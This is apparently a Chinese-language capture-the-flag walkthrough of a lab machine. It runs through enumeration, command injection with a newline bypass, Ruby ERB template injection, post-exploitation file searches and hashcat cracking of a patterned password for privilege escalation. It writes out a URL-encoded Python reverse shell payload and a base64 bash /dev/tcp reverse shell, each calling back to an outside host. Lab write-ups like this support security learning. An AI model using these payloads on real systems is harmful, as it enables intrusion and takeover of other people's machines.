网络服务发现:
访问网站:
服务器信息:
查找其他目录:
可发现about和weighted-grade目录,也可扫描目录:
About目录找到 Susan Miller ;Tina Smith两个人名信息,开发团队成员
weighted-grade目录看到有交互:
简单测试发现:
可以提交,只需要Weight (%)加起来100
测试发现可以命令注入:
返回是:
经过测试,换行符可以绕过:
联想到用的是ruby语言,网上找了下ssti模板注入:
成功执行,那么下一步反弹shell
在线网站搜一个反弹命令:(注意burp发包要用加号连接,分号,等号等做一个url编码)
<%25%3d+`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.63",1234))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")'`+%25>
成功反弹:
其实也可以用base64编码反弹:
base64 <<< "bash -i >& /dev/tcp/10.10.14.162/1234 0>&1" | sed 's/+/%2b/'
sed 's/\+/\%2b/': 这个命令使用 sed 工具进行字符串替换操作。具体来说,它将 Base64 编码后的字符串中的 + 替换为 %2b。这是因为 URL 中的 + 在传输过程中可能会被解析成空格,为了确保编码的完整性,需要将 + 转义为 %2b。
<%25%3dsystem("echo+$b64+|+base64+-d+|+bash");%25>然后将base64加密后的放入$b64处
接着上面拿到shell后:(拿到第一个flag)
查看用户拥有的文件
find / -uid 1001 -type f -ls 2>/dev/null | grep -v "/proc*"
find / -uid 1001: 这是 find 命令的起始部分,用于在文件系统的根目录 / 下查找属主用户 ID 为 1001 的文件。-uid 选项用于指定要搜索的用户 ID。
-type f: 这是 find 命令的选项,用于限定搜索结果为普通文件。-type f 表示只搜索文件,而不搜索目录或其他类型的文件。
-ls: 这是被 -exec 选项调用的命令,它使用 ls 命令来显示找到的文件的详细信息,包括文件权限、所有者等。
2>/dev/null: 这部分是将标准错误输出重定向到 /dev/null 设备。2 表示标准错误输出的文件描述符,/dev/null 是一个特殊的设备文件,它会将所有写入的内容丢弃。这样可以防止错误消息显示在终端上。
| grep -v "/proc*": 这是管道操作符 |,用于将 find 命令的输出传递给 grep 命令进行过滤。grep -v 表示反向匹配,即排除匹配的结果。"/proc*" 是一个正则表达式,用于匹配以 /proc 开头的行。这样做是为了排除搜索结果中的 /proc 目录,因为 /proc 目录是一个虚拟文件系统,其中包含有关运行中进程的信息。
综上所述,该命令的目的是在整个文件系统中查找属主用户 ID 为 1001 的普通文件,并使用 ls 命令显示这些文件的详细信息。同时,通过将标准错误输出重定向到 /dev/null,确保错误消息不会显示在终端上。然后,通过管道和 grep -v 过滤掉匹配 /proc* 的行,以排除 /proc 目录。
查看包含用户名的文件
find / -name "*susan*" -type f -ls 2>/dev/null
重点是密码格式为:
{firstname}_{firstname backwards}_{随机生成的介于 1 和 1,000,000,000 之间的整数}
寻找和password有关的文件:
查找和susan有关的信息:
还可以直接查看数据库:
然后根据之前获得的密码规律,进行破解
利用hashcat破解即可,最后密码为:susan_nasus_413759210
最后通过密码提权,拿到最后的flag:
自此,本次打靶结束。